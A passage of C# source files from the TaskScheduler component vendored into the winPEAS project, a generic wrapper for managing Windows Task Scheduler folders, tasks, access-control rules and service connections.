flags &= ~(TaskFlags.Interactive | TaskFlags.RunOnlyIfLoggedOn); definition.v1Task.SetAccountInformation((String.IsNullOrEmpty(userId) || user.IsSystem) ? String.Empty : user.Name, IntPtr.Zero); break; case TaskLogonType.InteractiveTokenOrPassword: flags |= TaskFlags.Interactive; using (CoTaskMemString cpwd = new CoTaskMemString(password)) definition.v1Task.SetAccountInformation(user.Name, cpwd.DangerousGetHandle()); break; case TaskLogonType.Password: using (CoTaskMemString cpwd = new CoTaskMemString(password)) definition.v1Task.SetAccountInformation(user.Name, cpwd.DangerousGetHandle()); break; default: throw new ArgumentOutOfRangeException(nameof(logonType), logonType, null); } definition.v1Task.SetFlags(flags); switch (createType) { case TaskCreation.Create: case TaskCreation.CreateOrUpdate: case TaskCreation.Disable: case TaskCreation.Update: if (createType == TaskCreation.Disable) definition.Settings.Enabled = false; definition.V1Save(path); break; case TaskCreation.DontAddPrincipalAce: throw new NotV1SupportedException("Security settings are not available on Task Scheduler 1.0."); case TaskCreation.IgnoreRegistrationTriggers: throw new NotV1SupportedException("Registration triggers are not available on Task Scheduler 1.0."); case TaskCreation.ValidateOnly: throw new NotV1SupportedException("XML validation not available on Task Scheduler 1.0."); default: throw new ArgumentOutOfRangeException(nameof(createType), createType, null); } return new Task(TaskService, definition.v1Task); } /// /// Applies access control list (ACL) entries described by a object to the file described by the current object. /// /// A object that describes an access control list (ACL) entry to apply to the current folder. public void SetAccessControl([NotNull] TaskSecurity taskSecurity) { taskSecurity.Persist(this); } /// /// Sets the security descriptor for the folder. Not available to Task Scheduler 1.0. /// /// The security descriptor for the folder. /// Section(s) of the security descriptor to set. [Obsolete("This method will be removed in deference to the SetAccessControl and SetSecurityDescriptorSddlForm methods.")] public void SetSecurityDescriptor([NotNull] GenericSecurityDescriptor sd, SecurityInfos includeSections = Task.defaultSecurityInfosSections) { SetSecurityDescriptorSddlForm(sd.GetSddlForm((AccessControlSections)includeSections)); } /// /// Sets the security descriptor for the folder. Not available to Task Scheduler 1.0. /// /// The security descriptor for the folder. /// Flags that specify how to set the security descriptor. /// Not supported under Task Scheduler 1.0. public void SetSecurityDescriptorSddlForm([NotNull] string sddlForm, TaskSetSecurityOptions options = TaskSetSecurityOptions.None) { if (v2Folder != null) v2Folder.SetSecurityDescriptor(sddlForm, (int)options); else throw new NotV1SupportedException(); } /// /// Returns a that represents this instance. /// /// /// A that represents this instance. /// public override string ToString() => Path; /// /// Enumerates the tasks in the specified folder and its child folders. /// /// The folder in which to start enumeration. /// An optional filter to apply to the task list. /// true if subfolders are to be queried recursively. /// A that can be used to iterate through the tasks. internal static IEnumerable EnumerateFolderTasks(TaskFolder folder, Predicate filter = null, bool recurse = true) { foreach (var task in folder.Tasks) if (filter == null || filter(task)) yield return task; if (!recurse) yield break; foreach (var sfld in folder.SubFolders) foreach (var task in EnumerateFolderTasks(sfld, filter)) yield return task; } } } ================================================ FILE: winPEAS/winPEASexe/winPEAS/TaskScheduler/TaskFolderCollection.cs ================================================ using System; using System.Collections.Generic; using System.Collections.Specialized; using System.ComponentModel; using System.Runtime.CompilerServices; using winPEAS.TaskScheduler.TaskEditor.Native; using winPEAS.TaskScheduler.V2; namespace winPEAS.TaskScheduler { /// Provides information and control for a collection of folders that contain tasks. public sealed class TaskFolderCollection : ICollection, IDisposable, INotifyCollectionChanged, INotifyPropertyChanged { private const string IndexerName = "Item[]"; private readonly TaskFolder parent; private readonly TaskFolder[] v1FolderList; private readonly ITaskFolderCollection v2FolderList; internal TaskFolderCollection() => v1FolderList = new TaskFolder[0]; internal TaskFolderCollection([NotNull] TaskFolder folder, [NotNull] ITaskFolderCollection iCollection) { parent = folder; v2FolderList = iCollection; } /// Occurs when a collection changes. public event NotifyCollectionChangedEventHandler CollectionChanged; /// Occurs when a property value changes. public event PropertyChangedEventHandler PropertyChanged; /// Gets the number of items in the collection. public int Count => v2FolderList?.Count ?? v1FolderList.Length; /// Gets a value indicating whether the is read-only. bool ICollection.IsReadOnly => false; /// Gets the specified folder from the collection. /// The index of the folder to be retrieved. /// A TaskFolder instance that represents the requested folder. public TaskFolder this[int index] { get { if (v2FolderList != null) return new TaskFolder(parent.TaskService, v2FolderList[++index]); return v1FolderList[index]; } } /// Gets the specified folder from the collection. /// The path of the folder to be retrieved. /// A TaskFolder instance that represents the requested folder. public TaskFolder this[[NotNull] string path] { get { try { if (v2FolderList != null) return parent.GetFolder(path); if (v1FolderList != null && v1FolderList.Length > 0 && (path == string.Empty || path == "\\")) return v1FolderList[0]; } catch { } throw new ArgumentException(@"Path not found", nameof(path)); } } /// Adds an item to the . /// The object to add to the . /// /// This action is technically unfeasible due to limitations of the underlying library. Use the instead. /// public void Add([NotNull] TaskFolder item) => throw new NotImplementedException(); /// Removes all items from the . public void Clear() { if (v2FolderList != null) { for (var i = v2FolderList.Count; i > 0; i--) parent.DeleteFolder(v2FolderList[i].Name, false); OnNotifyPropertyChanged(nameof(Count)); OnNotifyPropertyChanged(IndexerName); CollectionChanged?.Invoke(this, new NotifyCollectionChangedEventArgs(NotifyCollectionChangedAction.Reset)); } } /// Determines whether the contains a specific value. /// The object to locate in the . /// true if is found in the ; otherwise, false. public bool Contains([NotNull] TaskFolder item) { if (v2FolderList != null) { for (var i = v2FolderList.Count; i > 0; i--) if (string.Equals(item.Path, v2FolderList[i].Path, StringComparison.CurrentCultureIgnoreCase)) return true; } else return item.Path == "\\"; return false; } /// Copies the elements of the ICollection to an Array, starting at a particular Array index. /// /// The one-dimensional Array that is the destination of the elements copied from . The Array must have /// zero-based indexing. /// /// The zero-based index in array at which copying begins. public void CopyTo(TaskFolder[] array, int arrayIndex) { if (arrayIndex < 0) throw new ArgumentOutOfRangeException(nameof(arrayIndex)); if (array == null) throw new ArgumentNullException(nameof(array)); if (v2FolderList != null) { if (arrayIndex + Count > array.Length) throw new ArgumentException(); foreach (var f in this) array[arrayIndex++] = f; } else { if (arrayIndex + v1FolderList.Length > array.Length) throw new ArgumentException(); v1FolderList.CopyTo(array, arrayIndex); } } /// Releases all resources used by this class. public void Dispose() { if (v1FolderList != null && v1FolderList.Length > 0) { v1FolderList[0].Dispose(); v1FolderList[0] = null; } if (v2FolderList != null) System.Runtime.InteropServices.Marshal.ReleaseComObject(v2FolderList); } /// Determines whether the specified folder exists. /// The path of the folder. /// true if folder exists; otherwise, false. public bool Exists([NotNull] string path) { try { parent.GetFolder(path); return true; } catch { } return false; } /// Gets a list of items in a collection. /// Enumerated list of items in the collection. public IEnumerator GetEnumerator() { if (v2FolderList != null) return new ComEnumerator(() => v2FolderList.Count, (object o) => v2FolderList[o], o => new TaskFolder(parent.TaskService, o)); return Array.AsReadOnly(v1FolderList).GetEnumerator(); } /* /// Returns the index of the TaskFolder within the collection. /// TaskFolder to find. /// Index of the TaskFolder; -1 if not found. public int IndexOf(TaskFolder item) { return IndexOf(item.Path); } /// Returns the index of the TaskFolder within the collection. /// Path to find. /// Index of the TaskFolder; -1 if not found. public int IndexOf(string path) { if (v2FolderList != null) { for (int i = 0; i < v2FolderList.Count; i++) { if (v2FolderList[new System.Runtime.InteropServices.VariantWrapper(i)].Path == path) return i; } return -1; } else return (v1FolderList.Length > 0 && (path == string.Empty || path == "\\")) ? 0 : -1; } */ /// Removes the first occurrence of a specific object from the . /// The object to remove from the . /// /// true if was successfully removed from the ; otherwise, false. This method /// also returns false if is not found in the original . /// public bool Remove([NotNull] TaskFolder item) { if (v2FolderList != null) { for (var i = v2FolderList.Count; i > 0; i--) { if (string.Equals(item.Path, v2FolderList[i].Path, StringComparison.CurrentCultureIgnoreCase)) { try { parent.DeleteFolder(v2FolderList[i].Name); OnNotifyPropertyChanged(nameof(Count)); OnNotifyPropertyChanged(IndexerName); CollectionChanged?.Invoke(this, new NotifyCollectionChangedEventArgs(NotifyCollectionChangedAction.Remove, item, i)); } catch { return false; } return true; } } } return false; } System.Collections.IEnumerator System.Collections.IEnumerable.GetEnumerator() => GetEnumerator(); /// Called when a property has changed to notify any attached elements. /// Name of the property. private void OnNotifyPropertyChanged([CallerMemberName] string propertyName = "") => PropertyChanged?.Invoke(this, new PropertyChangedEventArgs(propertyName)); } } ================================================ FILE: winPEAS/winPEASexe/winPEAS/TaskScheduler/TaskHandlerInterfaces.cs ================================================ using System; using System.Runtime.InteropServices; namespace winPEAS.TaskScheduler { /// /// Defines the methods that are called by the Task Scheduler service to manage a COM handler. /// /// /// This interface must be implemented for a task to perform a COM handler action. When the Task Scheduler performs a COM handler action, it creates and activates the handler and calls the methods of this interface as needed. For information on specifying a COM handler action, see the class. /// [ComImport, Guid("839D7762-5121-4009-9234-4F0D19394F04"), InterfaceType(ComInterfaceType.InterfaceIsIUnknown), System.Security.SuppressUnmanagedCodeSecurity] public interface ITaskHandler { /// /// Called to start the COM handler. This method must be implemented by the handler. /// /// An IUnkown interface that is used to communicate back with the Task Scheduler. /// The arguments that are required by the handler. These arguments are defined in the property of the COM handler action. void Start([In, MarshalAs(UnmanagedType.IUnknown)] object pHandlerServices, [In, MarshalAs(UnmanagedType.BStr)] string data); /// /// Called to stop the COM handler. This method must be implemented by the handler. /// /// The return code that the Task Schedule will raise as an event when the COM handler action is completed. void Stop([MarshalAs(UnmanagedType.Error)] out int pRetCode); /// /// Called to pause the COM handler. This method is optional and should only be implemented to give the Task Scheduler the ability to pause and restart the handler. /// void Pause(); /// /// Called to resume the COM handler. This method is optional and should only be implemented to give the Task Scheduler the ability to resume the handler. /// void Resume(); } /// /// Provides the methods that are used by COM handlers to notify the Task Scheduler about the status of the handler. /// [ComImport, Guid("EAEC7A8F-27A0-4DDC-8675-14726A01A38A"), InterfaceType(ComInterfaceType.InterfaceIsIUnknown), System.Security.SuppressUnmanagedCodeSecurity] public interface ITaskHandlerStatus { /// /// Tells the Task Scheduler about the percentage of completion of the COM handler. /// /// A value that indicates the percentage of completion for the COM handler. /// The message that is displayed in the Task Scheduler UI. void UpdateStatus([In] short percentComplete, [In, MarshalAs(UnmanagedType.BStr)] string statusMessage); /// /// Tells the Task Scheduler that the COM handler is completed. /// /// The error code that the Task Scheduler will raise as an event. void TaskCompleted([In, MarshalAs(UnmanagedType.Error)] int taskErrCode); } } ================================================ FILE: winPEAS/winPEASexe/winPEAS/TaskScheduler/TaskSecurity.cs ================================================ using System; using System.Security; using System.Security.AccessControl; using System.Security.Principal; namespace winPEAS.TaskScheduler { /// /// Specifies the access control rights that can be applied to Task Scheduler tasks. /// [Flags] public enum TaskRights { /// Specifies the right to exert full control over a task folder or task, and to modify access control and audit rules. This value represents the right to do anything with a task and is the combination of all rights in this enumeration. FullControl = 0x1f01ff, /// Specifies the right to create tasks and folders, and to add or remove data from tasks. This right includes the following rights: . Write = 0x120116, /// Specifies the right to open and copy folders or tasks as read-only. This right includes the following rights: . Read = 0x120089, /// Specifies the right run tasks. This right includes the following rights: . Execute = 0x120089, /// The right to wait on a task. Synchronize = 0x100000, /// The right to change the owner of a task. TakeOwnership = 0x80000, /// Specifies the right to change the security and audit rules associated with a task or folder. ChangePermissions = 0x40000, /// The right to open and copy the access rules and audit rules for a task. ReadPermissions = 0x20000, /// The right to delete a folder or task. Delete = 0x10000, /// Specifies the right to open and write file system attributes to a folder or file. This does not include the ability to write data, extended attributes, or access and audit rules. WriteAttributes = 0x100, /// Specifies the right to open and copy file system attributes from a folder or task. For example, this value specifies the right to view the file creation or modified date. This does not include the right to read data, extended file system attributes, or access and audit rules. ReadAttributes = 0x80, /// Specifies the right to delete a folder and any tasks contained within that folder. DeleteChild = 0x40, /// Specifies the right to run a task. ExecuteFile = 0x20, /// Specifies the right to open and write extended file system attributes to a folder or file. This does not include the ability to write data, attributes, or access and audit rules. WriteExtendedAttributes = 0x10, /// Specifies the right to open and copy extended system attributes from a folder or task. For example, this value specifies the right to view author and content information. This does not include the right to read data, system attributes, or access and audit rules. ReadExtendedAttributes = 8, /// Specifies the right to append data to the end of a file. AppendData = 4, /// Specifies the right to open and write to a file or folder. This does not include the right to open and write file system attributes, extended file system attributes, or access and audit rules. WriteData = 2, /// Specifies the right to open and copy a task or folder. This does not include the right to read file system attributes, extended file system attributes, or access and audit rules. ReadData = 1, } /// /// Represents a set of access rights allowed or denied for a user or group. This class cannot be inherited. /// public sealed class TaskAccessRule : AccessRule { /// /// Initializes a new instance of the class, specifying the user or group the rule applies to, the access rights, and whether the specified access rights are allowed or denied. /// /// The user or group the rule applies to. Must be of type or a type such as that can be converted to type . /// A bitwise combination of values specifying the rights allowed or denied. /// One of the values specifying whether the rights are allowed or denied. public TaskAccessRule([NotNull] IdentityReference identity, TaskRights eventRights, AccessControlType type) : this(identity, (int)eventRights, false, InheritanceFlags.None, PropagationFlags.None, type) { } /// /// Initializes a new instance of the class, specifying the name of the user or group the rule applies to, the access rights, and whether the specified access rights are allowed or denied. /// /// The name of the user or group the rule applies to. /// A bitwise combination of values specifying the rights allowed or denied. /// One of the values specifying whether the rights are allowed or denied. public TaskAccessRule([NotNull] string identity, TaskRights eventRights, AccessControlType type) : this(new NTAccount(identity), (int)eventRights, false, InheritanceFlags.None, PropagationFlags.None, type) { } private TaskAccessRule([NotNull] IdentityReference identity, int accessMask, bool isInherited, InheritanceFlags inheritanceFlags, PropagationFlags propagationFlags, AccessControlType type) : base(identity, accessMask, isInherited, inheritanceFlags, propagationFlags, type) { } /// /// Gets the rights allowed or denied by the access rule. /// /// /// A bitwise combination of values indicating the rights allowed or denied by the access rule. /// public TaskRights TaskRights => (TaskRights)AccessMask; } /// /// Represents a set of access rights to be audited for a user or group. This class cannot be inherited. /// public sealed class TaskAuditRule : AuditRule { /// /// Initializes a new instance of the class, specifying the user or group to audit, the rights to audit, and whether to audit success, failure, or both. /// /// The user or group the rule applies to. Must be of type or a type such as that can be converted to type . /// A bitwise combination of values specifying the kinds of access to audit. /// The audit flags. public TaskAuditRule([NotNull] IdentityReference identity, TaskRights eventRights, AuditFlags flags) : this(identity, (int)eventRights, false, InheritanceFlags.None, PropagationFlags.None, flags) { } internal TaskAuditRule([NotNull] IdentityReference identity, int accessMask, bool isInherited, InheritanceFlags inheritanceFlags, PropagationFlags propagationFlags, AuditFlags flags) : base(identity, accessMask, isInherited, inheritanceFlags, propagationFlags, flags) { } /// /// Gets the access rights affected by the audit rule. /// /// /// A bitwise combination of values that indicates the rights affected by the audit rule. /// /// objects are immutable. You can create a new audit rule representing a different user, different rights, or a different combination of AuditFlags values, but you cannot modify an existing audit rule. public TaskRights TaskRights => (TaskRights)AccessMask; } /// /// Represents the Windows access control security for a Task Scheduler task. This class cannot be inherited. /// /// /// A TaskSecurity object specifies access rights for a Task Scheduler task, and also specifies how access attempts are audited. Access rights to the task are expressed as rules, with each access rule represented by a object. Each auditing rule is represented by a object. /// This mirrors the underlying Windows security system, in which each securable object has at most one discretionary access control list (DACL) that controls access to the secured object, and at most one system access control list (SACL) that specifies which access attempts are audited. The DACL and SACL are ordered lists of access control entries (ACE) that specify access and auditing for users and groups. A or object might represent more than one ACE. /// Note /// A object can represent a local task or a Task Scheduler task. Windows access control security is meaningful only for Task Scheduler tasks. /// The TaskSecurity, , and classes hide the implementation details of ACLs and ACEs. They allow you to ignore the seventeen different ACE types and the complexity of correctly maintaining inheritance and propagation of access rights. These objects are also designed to prevent the following common access control errors: /// /// Creating a security descriptor with a null DACL. A null reference to a DACL allows any user to add access rules to an object, potentially creating a denial-of-service attack. A new TaskSecurity object always starts with an empty DACL, which denies all access for all users. /// Violating the canonical ordering of ACEs. If the ACE list in the DACL is not kept in the canonical order, users might inadvertently be given access to the secured object. For example, denied access rights must always appear before allowed access rights. TaskSecurity objects maintain the correct order internally. /// Manipulating security descriptor flags, which should be under resource manager control only. /// Creating invalid combinations of ACE flags. /// Manipulating inherited ACEs. Inheritance and propagation are handled by the resource manager, in response to changes you make to access and audit rules. /// Inserting meaningless ACEs into ACLs. /// /// The only capabilities not supported by the .NET security objects are dangerous activities that should be avoided by the majority of application developers, such as the following: /// /// Low-level tasks that are normally performed by the resource manager. /// Adding or removing access control entries in ways that do not maintain the canonical ordering. /// /// To modify Windows access control security for a task, use the method to get the TaskSecurity object. Modify the security object by adding and removing rules, and then use the method to reattach it. /// Important: Changes you make to a TaskSecurity object do not affect the access levels of the task until you call the method to assign the altered security object to the task. /// To copy access control security from one task to another, use the method to get a TaskSecurity object representing the access and audit rules for the first task, then use the method, or a constructor that accepts a TaskSecurity object, to assign those rules to the second task. /// Users with an investment in the security descriptor definition language (SDDL) can use the method to set access rules for a task, and the method to obtain a string that represents the access rules in SDDL format. This is not recommended for new development. /// public sealed class TaskSecurity : CommonObjectSecurity { /// /// Initializes a new instance of the class with default values. /// public TaskSecurity() : base(false) { } /// /// Initializes a new instance of the class with the specified sections of the access control security rules from the specified task. /// /// The task. /// The sections of the ACL to retrieve. public TaskSecurity([NotNull] Task task, AccessControlSections sections = Task.defaultAccessControlSections) : base(false) { SetSecurityDescriptorSddlForm(task.GetSecurityDescriptorSddlForm(Convert(sections)), sections); this.CanonicalizeAccessRules(); } /// /// Initializes a new instance of the class with the specified sections of the access control security rules from the specified task. /// /// The folder. /// The sections of the ACL to retrieve. public TaskSecurity([NotNull] TaskFolder folder, AccessControlSections sections = Task.defaultAccessControlSections) : base(false) { SetSecurityDescriptorSddlForm(folder.GetSecurityDescriptorSddlForm(Convert(sections)), sections); this.CanonicalizeAccessRules(); } /// /// Gets the enumeration that the class uses to represent access rights. /// /// A object representing the enumeration. public override Type AccessRightType => typeof(TaskRights); /// /// Gets the type that the TaskSecurity class uses to represent access rules. /// /// A object representing the class. public override Type AccessRuleType => typeof(TaskAccessRule); /// /// Gets the type that the TaskSecurity class uses to represent audit rules. /// /// A object representing the class. public override Type AuditRuleType => typeof(TaskAuditRule); /// /// Gets a object that represent the default access rights. /// /// The default task security. public static TaskSecurity DefaultTaskSecurity { get { var ret = new TaskSecurity(); ret.AddAccessRule(new TaskAccessRule(new SecurityIdentifier(WellKnownSidType.LocalSystemSid, null), TaskRights.FullControl, AccessControlType.Allow)); ret.AddAccessRule(new TaskAccessRule(new SecurityIdentifier(WellKnownSidType.BuiltinAdministratorsSid, null), TaskRights.Read | TaskRights.Write | TaskRights.Execute, AccessControlType.Allow)); ret.AddAccessRule(new TaskAccessRule(new SecurityIdentifier(WellKnownSidType.LocalServiceSid, null), TaskRights.Read, AccessControlType.Allow)); ret.AddAccessRule(new TaskAccessRule(new SecurityIdentifier(WellKnownSidType.AuthenticatedUserSid, null), TaskRights.Read, AccessControlType.Allow)); ret.AddAccessRule(new TaskAccessRule(new SecurityIdentifier(WellKnownSidType.NetworkServiceSid, null), TaskRights.Read, AccessControlType.Allow)); return ret; } } /// /// Creates a new access control rule for the specified user, with the specified access rights, access control, and flags. /// /// An that identifies the user or group the rule applies to. /// A bitwise combination of values specifying the access rights to allow or deny, cast to an integer. /// Meaningless for tasks, because they have no hierarchy. /// Meaningless for tasks, because they have no hierarchy. /// Meaningless for tasks, because they have no hierarchy. /// One of the values specifying whether the rights are allowed or denied. /// /// The object that this method creates. /// public override AccessRule AccessRuleFactory(IdentityReference identityReference, int accessMask, bool isInherited, InheritanceFlags inheritanceFlags, PropagationFlags propagationFlags, AccessControlType type) => new TaskAccessRule(identityReference, (TaskRights)accessMask, type); /// /// Searches for a matching rule with which the new rule can be merged. If none are found, adds the new rule. /// /// The access control rule to add. public void AddAccessRule([NotNull] TaskAccessRule rule) { base.AddAccessRule(rule); } /// /// Searches for an audit rule with which the new rule can be merged. If none are found, adds the new rule. /// /// The audit rule to add. The user specified by this rule determines the search. public void AddAuditRule([NotNull] TaskAuditRule rule) { base.AddAuditRule(rule); } /// /// Creates a new audit rule, specifying the user the rule applies to, the access rights to audit, and the outcome that triggers the audit rule. /// /// An that identifies the user or group the rule applies to. /// A bitwise combination of values specifying the access rights to audit, cast to an integer. /// Meaningless for tasks, because they have no hierarchy. /// Meaningless for tasks, because they have no hierarchy. /// Meaningless for tasks, because they have no hierarchy. /// One of the values specifying whether to audit successful access, failed access, or both. /// /// A object representing the specified audit rule for the specified user. The return type of the method is the base class, , but the return value can be cast safely to the derived class. /// public override AuditRule AuditRuleFactory(IdentityReference identityReference, int accessMask, bool isInherited, InheritanceFlags inheritanceFlags, PropagationFlags propagationFlags, AuditFlags flags) => new TaskAuditRule(identityReference, accessMask, isInherited, inheritanceFlags, propagationFlags, flags); /// /// Searches for an access control rule with the same user and (allow or deny) as the specified rule, and with compatible inheritance and propagation flags; if such a rule is found, the rights contained in the specified access rule are removed from it. /// /// A that specifies the user and to search for, and a set of inheritance and propagation flags that a matching rule, if found, must be compatible with. Specifies the rights to remove from the compatible rule, if found. /// true if a compatible rule is found; otherwise false. public bool RemoveAccessRule([NotNull] TaskAccessRule rule) => base.RemoveAccessRule(rule); /// /// Searches for all access control rules with the same user and (allow or deny) as the specified rule and, if found, removes them. /// /// A that specifies the user and to search for, and a set of inheritance and propagation flags that a matching rule, if found, must be compatible with. Any rights specified by this rule are ignored. public void RemoveAccessRuleAll([NotNull] TaskAccessRule rule) { base.RemoveAccessRuleAll(rule); } /// /// Searches for an access control rule that exactly matches the specified rule and, if found, removes it. /// /// The to remove. public void RemoveAccessRuleSpecific([NotNull] TaskAccessRule rule) { base.RemoveAccessRuleSpecific(rule); } /// /// Searches for an audit control rule with the same user as the specified rule, and with compatible inheritance and propagation flags; if a compatible rule is found, the rights contained in the specified rule are removed from it. /// /// A that specifies the user to search for, and a set of inheritance and propagation flags that a matching rule, if found, must be compatible with. Specifies the rights to remove from the compatible rule, if found. /// true if a compatible rule is found; otherwise false. public bool RemoveAuditRule([NotNull] TaskAuditRule rule) => base.RemoveAuditRule(rule); /// /// Searches for all audit rules with the same user as the specified rule and, if found, removes them. /// /// A that specifies the user to search for. Any rights specified by this rule are ignored. public void RemoveAuditRuleAll(TaskAuditRule rule) { base.RemoveAuditRuleAll(rule); } /// /// Searches for an audit rule that exactly matches the specified rule and, if found, removes it. /// /// The to remove. public void RemoveAuditRuleSpecific([NotNull] TaskAuditRule rule) { base.RemoveAuditRuleSpecific(rule); } /// /// Removes all access control rules with the same user as the specified rule, regardless of , and then adds the specified rule. /// /// The to add. The user specified by this rule determines the rules to remove before this rule is added. public void ResetAccessRule([NotNull] TaskAccessRule rule) { base.ResetAccessRule(rule); } /// /// Removes all access control rules with the same user and (allow or deny) as the specified rule, and then adds the specified rule. /// /// The to add. The user and of this rule determine the rules to remove before this rule is added. public void SetAccessRule([NotNull] TaskAccessRule rule) { base.SetAccessRule(rule); } /// /// Removes all audit rules with the same user as the specified rule, regardless of the value, and then adds the specified rule. /// /// The to add. The user specified by this rule determines the rules to remove before this rule is added. public void SetAuditRule([NotNull] TaskAuditRule rule) { base.SetAuditRule(rule); } /// /// Returns a that represents this instance. /// /// /// A that represents this instance. /// public override string ToString() => GetSecurityDescriptorSddlForm(Task.defaultAccessControlSections); private static SecurityInfos Convert(AccessControlSections si) { SecurityInfos ret = 0; if ((si & AccessControlSections.Audit) != 0) ret |= SecurityInfos.SystemAcl; if ((si & AccessControlSections.Access) != 0) ret |= SecurityInfos.DiscretionaryAcl; if ((si & AccessControlSections.Group) != 0) ret |= SecurityInfos.Group; if ((si & AccessControlSections.Owner) != 0) ret |= SecurityInfos.Owner; return ret; } private static AccessControlSections Convert(SecurityInfos si) { AccessControlSections ret = AccessControlSections.None; if ((si & SecurityInfos.SystemAcl) != 0) ret |= AccessControlSections.Audit; if ((si & SecurityInfos.DiscretionaryAcl) != 0) ret |= AccessControlSections.Access; if ((si & SecurityInfos.Group) != 0) ret |= AccessControlSections.Group; if ((si & SecurityInfos.Owner) != 0) ret |= AccessControlSections.Owner; return ret; } private AccessControlSections GetAccessControlSectionsFromChanges() { AccessControlSections none = AccessControlSections.None; if (AccessRulesModified) { none = AccessControlSections.Access; } if (AuditRulesModified) { none |= AccessControlSections.Audit; } if (OwnerModified) { none |= AccessControlSections.Owner; } if (GroupModified) { none |= AccessControlSections.Group; } return none; } /// /// Saves the specified sections of the security descriptor associated with this object to permanent storage. We recommend that the values of the parameters passed to the constructor and persist methods be identical. /// /// The task used to retrieve the persisted information. /// One of the enumeration values that specifies the sections of the security descriptor (access rules, audit rules, owner, primary group) of the securable object to save. [SecurityCritical] internal void Persist([NotNull] Task task, AccessControlSections includeSections = Task.defaultAccessControlSections) { WriteLock(); try { AccessControlSections accessControlSectionsFromChanges = GetAccessControlSectionsFromChanges(); if (accessControlSectionsFromChanges != AccessControlSections.None) { task.SetSecurityDescriptorSddlForm(GetSecurityDescriptorSddlForm(accessControlSectionsFromChanges)); OwnerModified = GroupModified = AccessRulesModified = AuditRulesModified = false; } } finally { WriteUnlock(); } } /// /// Saves the specified sections of the security descriptor associated with this object to permanent storage. We recommend that the values of the parameters passed to the constructor and persist methods be identical. /// /// The task folder used to retrieve the persisted information. /// One of the enumeration values that specifies the sections of the security descriptor (access rules, audit rules, owner, primary group) of the securable object to save. [SecurityCritical] internal void Persist([NotNull] TaskFolder folder, AccessControlSections includeSections = Task.defaultAccessControlSections) { WriteLock(); try { AccessControlSections accessControlSectionsFromChanges = GetAccessControlSectionsFromChanges(); if (accessControlSectionsFromChanges != AccessControlSections.None) { folder.SetSecurityDescriptorSddlForm(GetSecurityDescriptorSddlForm(accessControlSectionsFromChanges)); OwnerModified = GroupModified = AccessRulesModified = AuditRulesModified = false; } } finally { WriteUnlock(); } } /// /// Saves the specified sections of the security descriptor associated with this object to permanent storage. We recommend that the values of the parameters passed to the constructor and persist methods be identical. For more information, see Remarks. /// /// The name used to retrieve the persisted information. /// One of the enumeration values that specifies the sections of the security descriptor (access rules, audit rules, owner, primary group) of the securable object to save. protected override void Persist([NotNull] string name, AccessControlSections includeSections = Task.defaultAccessControlSections) { using (var ts = new TaskService()) { var task = ts.GetTask(name); Persist(task, includeSections); } } } } ================================================ FILE: winPEAS/winPEASexe/winPEAS/TaskScheduler/TaskService.cs ================================================ using System; using System.Collections.Generic; using System.ComponentModel; using System.IO; using System.Runtime.InteropServices; using winPEAS.TaskScheduler.V1; using winPEAS.TaskScheduler.V2; namespace winPEAS.TaskScheduler { /// /// Quick simple trigger types for the /// method. /// public enum QuickTriggerType { /// At boot. Boot, /// On system idle. Idle, /// At logon of any user. Logon, /// When the task is registered. TaskRegistration, /// Hourly, starting now. Hourly, /// Daily, starting now. Daily, /// Weekly, starting now. Weekly, /// Monthly, starting now. Monthly } /// /// Known versions of the native Task Scheduler library. This can be used as a decoder for the /// and values. /// public static class TaskServiceVersion { /// Task Scheduler 1.0 (Windows Server™ 2003, Windows® XP, or Windows® 2000). [Description("Task Scheduler 1.0 (Windows Server™ 2003, Windows® XP, or Windows® 2000).")] public static readonly Version V1_1 = new Version(1, 1); /// Task Scheduler 2.0 (Windows Vista™, Windows Server™ 2008). [Description("Task Scheduler 2.0 (Windows Vista™, Windows Server™ 2008).")] public static readonly Version V1_2 = new Version(1, 2); /// Task Scheduler 2.1 (Windows® 7, Windows Server™ 2008 R2). [Description("Task Scheduler 2.1 (Windows® 7, Windows Server™ 2008 R2).")] public static readonly Version V1_3 = new Version(1, 3); /// Task Scheduler 2.2 (Windows® 8.x, Windows Server™ 2012). [Description("Task Scheduler 2.2 (Windows® 8.x, Windows Server™ 2012).")] public static readonly Version V1_4 = new Version(1, 4); /// Task Scheduler 2.3 (Windows® 10, Windows Server™ 2016). [Description("Task Scheduler 2.3 (Windows® 10, Windows Server™ 2016).")] public static readonly Version V1_5 = new Version(1, 5); /// Task Scheduler 2.3 (Windows® 10, Windows Server™ 2016 post build 1703). [Description("Task Scheduler 2.3 (Windows® 10, Windows Server™ 2016 post build 1703).")] public static readonly Version V1_6 = new Version(1, 6); } /// Provides access to the Task Scheduler service for managing registered tasks. [Description("Provides access to the Task Scheduler service.")] [ToolboxItem(true), Serializable] public sealed partial class TaskService : Component, ISupportInitialize, System.Runtime.Serialization.ISerializable { internal static readonly bool LibraryIsV2 = Environment.OSVersion.Version.Major >= 6; internal static readonly Guid PowerShellActionGuid = new Guid("dab4c1e3-cd12-46f1-96fc-3981143c9bab"); private static Guid CLSID_Ctask = typeof(CTask).GUID; private static Guid IID_ITask = typeof(ITask).GUID; [ThreadStatic] private static TaskService instance; private static Version osLibVer; internal ITaskScheduler v1TaskScheduler; internal ITaskService v2TaskService; private bool connecting; private bool forceV1; private bool initializing; private Version maxVer; private bool maxVerSet; private string targetServer; private bool targetServerSet; private string userDomain; private bool userDomainSet; private string userName; private bool userNameSet; private string userPassword; private bool userPasswordSet; private WindowsImpersonatedIdentity v1Impersonation; /// Creates a new instance of a TaskService connecting to the local machine as the current user. public TaskService() { ResetHighestSupportedVersion(); Connect(); } /// Initializes a new instance of the class. /// /// The name of the computer that you want to connect to. If the this parameter is empty, then this will connect to the local computer. /// /// /// The user name that is used during the connection to the computer. If the user is not specified, then the current token is used. /// /// The domain of the user specified in the parameter. /// /// The password that is used to connect to the computer. If the user name and password are not specified, then the current token is used. /// /// If set to true force Task Scheduler 1.0 compatibility. public TaskService(string targetServer, string userName = null, string accountDomain = null, string password = null, bool forceV1 = false) { BeginInit(); TargetServer = targetServer; UserName = userName; UserAccountDomain = accountDomain; UserPassword = password; this.forceV1 = forceV1; ResetHighestSupportedVersion(); EndInit(); } private TaskService([NotNull] System.Runtime.Serialization.SerializationInfo info, System.Runtime.Serialization.StreamingContext context) { BeginInit(); TargetServer = (string)info.GetValue("TargetServer", typeof(string)); UserName = (string)info.GetValue("UserName", typeof(string)); UserAccountDomain = (string)info.GetValue("UserAccountDomain", typeof(string)); UserPassword = (string)info.GetValue("UserPassword", typeof(string)); forceV1 = (bool)info.GetValue("forceV1", typeof(bool)); ResetHighestSupportedVersion(); EndInit(); } /// Delegate for methods that support update calls during COM handler execution. /// The percentage of completion (0 